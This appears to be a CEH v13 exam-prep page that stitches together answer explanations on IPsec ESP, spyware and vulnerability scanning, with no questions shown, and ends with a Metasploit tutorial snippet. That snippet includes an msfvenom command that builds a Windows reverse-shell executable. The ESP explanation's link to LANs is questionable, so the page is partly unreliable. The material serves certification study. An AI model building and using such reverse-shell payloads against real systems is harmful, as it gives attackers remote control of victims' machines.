CEH v13 312-50v13 Syllabus Exam Questions Answers

ESP (Encapsulating Security Payload) in transport mode is used for end-to-end communication between hosts within the same LAN. It encrypts only the payload, not the header, ensuring confidentiality and integrity while maintaining efficient routing.

Reference – CEH v13 Official Study Guide:

Module 20: Cryptography

Quote:

“In ESP transport mode, only the data payload is encrypted, making it ideal for secure communication within a LAN where the IP header must remain intact for routing.”

Incorrect Options Explained:

B & C. Not valid IPSec modes.

D. AH tunnel mode ensures integrity but does not provide encryption.

CEH defines spyware as malware designed to covertly observe user behavior and transmit sensitive information to attackers without the victim’s knowledge. Spyware commonly records keystrokes, browser activity, form submissions, application usage, and other personally identifiable information. CEH highlights that spyware often operates silently and may disguise itself as legitimate software, making detection difficult. Unlike rootkits—which hide processes and files—or worms that self-replicate, spyware focuses exclusively on monitoring and data exfiltration. It is frequently installed through phishing, drive-by downloads, browser vulnerabilities, or malicious installers. Spyware can serve as a stepping stone for further system compromise by providing attackers with credentials for privilege escalation, lateral movement, or financial theft. CEH emphasizes the need for endpoint hardening, updated anti-malware engines, and behavioral analysis tools to detect such stealthy monitoring programs.

Vulnerability scanning solutions perform vulnerability penetration tests on the organizational network in three steps:

1. Locating nodes: The first step in vulnerability scanning is to locate live hosts in the target network using various scanning techniques.

2. Performing service and OS discovery on them: After detecting the live hosts in the target network, the next step is to enumerate the open ports and services and the operating system on the target systems.

3. Testing those services and OS for known vulnerabilities: Finally, after identifying the open services and the operating system running on the target nodes, they are tested for known vulnerabilities.

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
